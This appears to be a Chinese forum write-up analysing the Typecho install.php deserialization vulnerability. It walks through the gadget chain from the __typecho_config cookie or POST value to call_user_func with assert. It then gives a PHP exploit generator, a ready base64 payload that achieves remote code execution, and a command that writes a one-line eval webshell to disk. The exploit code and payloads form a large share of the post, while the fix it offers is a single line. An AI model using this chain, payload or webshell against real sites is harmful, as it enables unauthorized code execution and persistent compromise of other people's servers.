typecho反序列化漏洞分析【通过】

**
环境: php 7.0
工具: phpstorm、phpstudy

**
漏洞成因: config 反序列化 没有对输入点进行过滤

反序列化的魔术方法
来自
https://www.freebuf.com/vuls/152058.html

__wakeup() //使用unserialize触发
__sleep() //使用serialize触发
__destruct() //对象被销毁时触发
__call()   //在对象上下文中调用不可访问的方法时触发
__callStatic()  //在静态上下文中调用不可访问的方法时触发
__get()
__set()
__isset()    //在不可访问的属性上调用isset()或empty()触发
__unset()     //在不可访问的属性上使用unset()时触发
__toString()    //把类当作字符串使用时触发
__invoke()    //当脚本尝试将对象调用为函数时触发

Image1

在上面捕获到反序列化的可控点 __type_config,进入Typecho_Cookie中,可以发现 __get()中,可以通过POST 或者 Cookie获得__typecho_config的值

finish需要赋值,不然会脚本马上结束、还有referer指向上一级

Typecho_Cookie这个类中get的这个请求方法,get方法中,指可以从该cookie中取出,也可以从post请求中取出。

创建db类,db这个类的构造函数
获取适配器名字,然后在数据库适配器字符串拼接,若adapterName是一个类对象,则进行的字符串操作会出发 __toString()函数

接下来,我们要寻找 _toString()函数

Image6

发现有两个文件Feed.php、Query.php
Feed中调用不可访问的属性值时会触发魔术方法__get

Image7

搜索__get(),最后发现 Request.php中的__get() 跟进引用了危险的函数call_user_func()

Image9

Image10

Image11

其中value可控,造成call_user_func()的执行

来自https://www.freebuf.com/vuls/152058.html

构造exp:

<?php 
class Typecho_Feed { 
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0'; 
const ATOM1 = 'ATOM 1.0'; 
const DATE_RFC822 = 'r'; 
const DATE_W3CDTF = 'c'; 
const EOL = "\n"; 
private $_type; 
private $_items; 
public function __construct(){ 
$this->_type = $this::RSS2; 
$this->_items[0] = array( 'title' => '1', 'link' => '1', 'date' => 1508895132, 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), ); 
    } 
} 
class Typecho_Request { 
private $_params = array(); 
private $_filter = array(); 
public function __construct(){ 
$this->_params['screenName'] = 'phpinfo()';  //这里可改成所使用的恶意代码
$this->_filter[0] = 'assert'; 
} 
$exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); 
echo base64_encode(serialize($exp));

payload

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUxMTc5NTIwMTtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=


a:2:{s:7:"adapter";O:12:"Typecho_Feed":2:{s:19:"Typecho_Feed_type";s:7:"RSS 2.0";s:20:"Typecho_Feed_items";a:1:{i:0;a:5:{s:5:"title";s:1:"1";s:4:"link";s:1:"1";s:4:"date";i:1511795201;s:8:"category";a:1:{i:0;O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}}s:6:"prefix";s:8:"typecho_";}
'file_put_contents(\'g4f.php\',\'<?php @eval($_POST[g4f]);?>\')'


最后捋一下思路:

  1. 首先发现可控点config,可通过typecho_config进行postcookie注入。
  2. 发现在Db中,adapaterName若是个类,则可调用toString,通过typecho_configadapter构造一个类,使其调用__toString的方法。
  3. 通过__toString全局搜索,发现Typecho_Feed类中,有个地方item['author']->screenName,若screenName为不可访问属性,则会调用__get()方法。
  4. 全局搜索下__get()方法,发现Typecho_Request中有__get跟进,get->_arrayfilter,发现call_user_func的两个参数filter, value都可控,所以可以构造payload进行攻击。

我的exp

关键参数__typecho_config

传入的adapterNameTypecho_Feed类,做字符串操作时,会触发__toString() 魔法方法

绕过过滤数组,可对call_user_func函数的参数进行控制,触发代码执行

Image20

Image21

修补方法:更新或者把install相关文件删除


typecho 在php 7.0下出现 database server error的原因以及解决方法
https://www.typechodev.com/case/Adapter-Typecho_Db_Adapter_Mysql-is-not-available.html

参考

https://www.freebuf.com/vuls/155753.html

https://mp.weixin.qq.com/s/w2JuKtXpSJVFDNSz7s_xog?

https://p0sec.net/index.php/archives/114/

  • 通过
  • 未通过

0 投票者

1 Like